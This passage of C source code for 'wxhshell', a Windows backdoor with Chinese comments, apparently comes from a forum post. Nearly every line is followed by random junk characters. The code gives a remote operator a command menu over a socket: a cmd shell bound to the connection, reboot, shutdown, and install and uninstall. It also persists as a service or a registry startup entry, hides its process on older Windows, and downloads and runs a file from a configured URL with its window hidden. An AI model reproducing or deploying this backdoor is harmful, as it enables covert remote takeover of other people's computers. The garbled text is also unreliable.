  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bS* "C,b~s  
  } bX5>qqB]  
  else { ;znIY&Z  
tM{t'WU  
    switch(cmd[0]) { --  _,;  
  8LR_K]\  
  // 帮助 ZIpL4y =_  
  case '?': { H$1R\rE`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lm]4zs /A  
    break; MK~viSgi  
  } /pX\)wi  
  // 安装 e:!&y\'"9  
  case 'i': { _?O'65  
    if(Install()) 9Z rWG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;wTl#\|w0  
    else ;'R{b$B;|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wl::tgU  
    break; jk 9K>4W  
    } =$Xdn'  
  // 卸载 Os?~U/  
  case 'r': { (AXS QI~y  
    if(Uninstall()) d t0?4 d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }2V|B4  
    else Ojie.+'SB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JBi<TDm/  
    break; 2x3&o|J  
    } rDUNA@r  
  // 显示 wxhshell 所在路径   3xV  
  case 'p': { *9?-JBT&F  
    char svExeFile[MAX_PATH]; EvQN(_  
    strcpy(svExeFile,"\n\r"); (ioi !p  
      strcat(svExeFile,ExeFile); ~i6tc d  
        send(wsh,svExeFile,strlen(svExeFile),0); u -CY-  
    break; . (Q;EF`_U  
    } J<u,Y= -~  
  // 重启 e l7P  
  case 'b': { m{gt(n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &[qL l  
    if(Boot(REBOOT)) bWUo(B#*I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c%Kv"Z%f  
    else { m3P%E8<Q#  
    closesocket(wsh); $&k zix  
    ExitThread(0); vL\wA_z"<H  
    } XSn^$$S  
    break; GfL}f9  
    } r$R(4q:  
  // 关机 (Dq3e9fX  
  case 'd': { j4+hWalm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m cp}F|ws  
    if(Boot(SHUTDOWN)) aq,&W q@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Q})%j1S0  
    else { p>|;fS\`@}  
    closesocket(wsh); ,R ]]]7)+  
    ExitThread(0); VX2bC(E'%  
    } C03ehjT<  
    break; 7cY_=X-?Y  
    } tezsoR!.ak  
  // 获取shell &tHT6,Xv(  
  case 's': { "2N3L8?k  
    CmdShell(wsh); VO#]IXaP  
    closesocket(wsh); K=+w,H# `C  
    ExitThread(0); GkaIqBS  
    break; 2O`uzT$  
  } SYeCz(H>d  
  // 退出 1MX:^L!f8  
  case 'x': { zrD$loaW.'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .+|G`*1<i  
    CloseIt(wsh); tjuW+5O  
    break; +cQ4u4  
    } a?M<r>  
  // 离开 E3_EXz9 h  
  case 'q': { n]6xrsE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z#8GF^U:T  
    closesocket(wsh); tJbOn$]2"  
    WSACleanup(); CPF d 3 3  
    exit(1); <P(d%XEl  
    break; EX=+TOkAf  
        } Yg<o 9x$  
  } @C~TD)K  
  } N[){yaj  
o/2\8   
  // 提示信息 `f8{ ^Rau  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v3Te+oLg  
} u}qfwVX Z  
  }  ZRsDn  
xHZx5GJp9  
  return; E9!IGci  
} 8!4=j  
K3!|k(jt  
// shell模块句柄 M)V z9,  
int CmdShell(SOCKET sock) TM[Z~n(wt  
{ Ep.,2H  
STARTUPINFO si; #xm<|s   
ZeroMemory(&si,sizeof(si)); Cdot l$'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D0us<9q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D0~WK stl  
PROCESS_INFORMATION ProcessInfo; ?b^VEp.;}  
char cmdline[]="cmd"; t`Mm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NnGQ=$e  
  return 0; @@'zMV%  
} s7D_fv4e  
/n/U)!tp  
// 自身启动模式 3@XCP-`  
int StartFromService(void) q !EJs:AS  
{ L7wl3zG  
typedef struct 05=O5<l  
{ J55K+  
  DWORD ExitStatus; aluXh?  
  DWORD PebBaseAddress; (GMKIw2  
  DWORD AffinityMask; w`c9_V  
  DWORD BasePriority; J,4]d u$  
  ULONG UniqueProcessId; ?G* XZ0u~  
  ULONG InheritedFromUniqueProcessId; /-8v]nRB  
}   PROCESS_BASIC_INFORMATION; X>wB=z5PXK  
pIC CjA?3@  
PROCNTQSIP NtQueryInformationProcess; V%<<Udu<  
^.nvX{H8~=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7$8z}2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?*9U d  
 aVz<RS  
  HANDLE             hProcess; w4:n(.;HK  
  PROCESS_BASIC_INFORMATION pbi; [I4K`>|Z  
o!aKeM~|Es  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~SUA.YuF  
  if(NULL == hInst ) return 0; 0u'4kF!P!  
G|4vnIS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "of(,p   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rf@/<Wu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q7N4@w;e  
G"5Nj3v d  
  if (!NtQueryInformationProcess) return 0; F$ZWQ9&5U0  
!_?<-f(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MPAZ%<gmD  
  if(!hProcess) return 0; ^t*+hFEI  
{l0;G) -  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )XnG.T{0|  
HsR#dp+s~  
  CloseHandle(hProcess); @1*lmFq'kV  
,b-wo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k]qZOO}  
if(hProcess==NULL) return 0; ,au64sH  
&VY;Al  
HMODULE hMod; = <O{t#]  
char procName[255]; it&c ,+8  
unsigned long cbNeeded; xp)#a_}  
Zv7@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R`76Ae`R8  
$a15 8  
  CloseHandle(hProcess); q)G*"  
1.p?P] .  
if(strstr(procName,"services")) return 1; // 以服务启动 ~9kvC&/{[  
SjtGU47$!  
  return 0; // 注册表启动 Rb#Z'1D'G  
} {;n?c$r  
}E*d)n|  
// 主模块 wju~5  
int StartWxhshell(LPSTR lpCmdLine) r?{Vqephz  
{ Kp ~k!6x  
  SOCKET wsl; D4 {gt\V  
BOOL val=TRUE; :54|Z5h|  
  int port=0; "sAR< 5b  
  struct sockaddr_in door; |GdA0y\v*}  
&I'~:nWpt  
  if(wscfg.ws_autoins) Install(); Qc[[@=S%  
l]sO[`X  
port=atoi(lpCmdLine); Jgtv ia  
X2 M<DeF:  
if(port<=0) port=wscfg.ws_port; }2`S@Rq.WW  
uqTOEHH7  
  WSADATA data; kgr:8 5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O3bK>9<K  
`Jm{K*&8Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oxO}m7 ULH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oq8~PTw  
  door.sin_family = AF_INET; K8|6r|x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g?`D8  
  door.sin_port = htons(port); II>X6  
Y0s^9?*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1Y}gki^F  
closesocket(wsl); vbDw2  
return 1; %(6f  
} qhK;#<#  
_j%Rm:m;<  
  if(listen(wsl,2) == INVALID_SOCKET) { M#<x2ojW  
closesocket(wsl); / sH*if  
return 1; <( BAws(X  
} YLSG 5vF+  
  Wxhshell(wsl); 3qpk Mu3  
  WSACleanup(); _JR4 PKtx  
hZ2PP ^  
return 0; 7Mo O2  
+QldZba  
} WCR+ZXI?1  
nJ*NI)  
// 以NT服务方式启动 _x UhDu%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (/k,q  
{ zN2sipJS8  
DWORD   status = 0; (a^F`#]  
  DWORD   specificError = 0xfffffff; -F8%U:2a  
ulj`+D?H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; < "~k8:=4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i3e|j(Gs4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }}_WZ},h  
  serviceStatus.dwWin32ExitCode     = 0; B5I(ai7<M  
  serviceStatus.dwServiceSpecificExitCode = 0; ; H:qDBH  
  serviceStatus.dwCheckPoint       = 0; c#HocwP@  
  serviceStatus.dwWaitHint       = 0; 5~rs55W  
$<ZX};/D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~gBqkZ# y?  
  if (hServiceStatusHandle==0) return; wV5<sH__  
A=XM(2{aN  
status = GetLastError(); >@oO7<WB  
  if (status!=NO_ERROR) :-6_X<  
{ u"|.]r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pv0+`>):  
    serviceStatus.dwCheckPoint       = 0; pn =S%Qf]  
    serviceStatus.dwWaitHint       = 0; pAa{,,Qc  
    serviceStatus.dwWin32ExitCode     = status; \{UiGCK  
    serviceStatus.dwServiceSpecificExitCode = specificError; l;|1C[V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0j_!)B  
    return; pbgCcO~xm  
  } }>0UaK  
UyF]gO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; / 5=A#G  
  serviceStatus.dwCheckPoint       = 0; f3596a  
  serviceStatus.dwWaitHint       = 0; P, >#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'E7|L@X"r  
} ?ii a  
4Yn*q~f  
// 处理NT服务事件,比如:启动、停止 UhEnW8^bz1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ](a<b@p  
{ HX=`kkX  
switch(fdwControl) wiFckF/  
{  z!F?#L5  
case SERVICE_CONTROL_STOP: t;4{l`dk  
  serviceStatus.dwWin32ExitCode = 0; `[:f;2(@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  Ng-3|N  
  serviceStatus.dwCheckPoint   = 0; Pd@?(WQ  
  serviceStatus.dwWaitHint     = 0; ^$T>3@rDB  
  { 1= <Qnmw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Aq UT]l  
  } @|cas|U.r  
  return; r-!8in2  
case SERVICE_CONTROL_PAUSE: e8gD(T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f|< *2Mk  
  break; t=yM}#r$  
case SERVICE_CONTROL_CONTINUE: qQ|v~^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ey Cg *  
  break; F5*Xx g}N  
case SERVICE_CONTROL_INTERROGATE: Rq\.RR](  
  break; )fC^h=Qp  
}; f-23.]`v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4~Z\tP|Q.  
} A46y?"]/30  
k|g~xmI;  
// 标准应用程序主函数 Tlf G"HzZ%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &]ImO RN  
{ my*/MC^O  
YxsW Y7J  
// 获取操作系统版本 ?5+=  
OsIsNt=GetOsVer(); q'1rSK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EmH2 Dbw  
yCm iW %L4  
  // 从命令行安装 X#p E!mT  
  if(strpbrk(lpCmdLine,"iI")) Install(); C$?dkmIt  
/gPn2e;  
  // 下载执行文件 3 D+dM0wM  
if(wscfg.ws_downexe) { >S!QvyM(V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^Ji5)c  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,c7 8O8|  
} rt."P20T  
Z!ub`coV[  
if(!OsIsNt) { QZd ,GY5{  
// 如果时win9x,隐藏进程并且设置为注册表启动 c"fnTJXr79  
HideProc(); 'KXvn0  
StartWxhshell(lpCmdLine); n32BHOVE  
} s K s D  
else :;]6\/ky  
  if(StartFromService()) nKV1F0-  
  // 以服务方式启动 Rb\\6 BU0  
  StartServiceCtrlDispatcher(DispatchTable); (uRAK  
else {HQ?  
  // 普通方式启动 CxwZ$0  
  StartWxhshell(lpCmdLine); mNs&*h}  
7zy6`O P  
return 0; bl:.D~@  
}
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只看该作者 1 发表于: 2006-10-10
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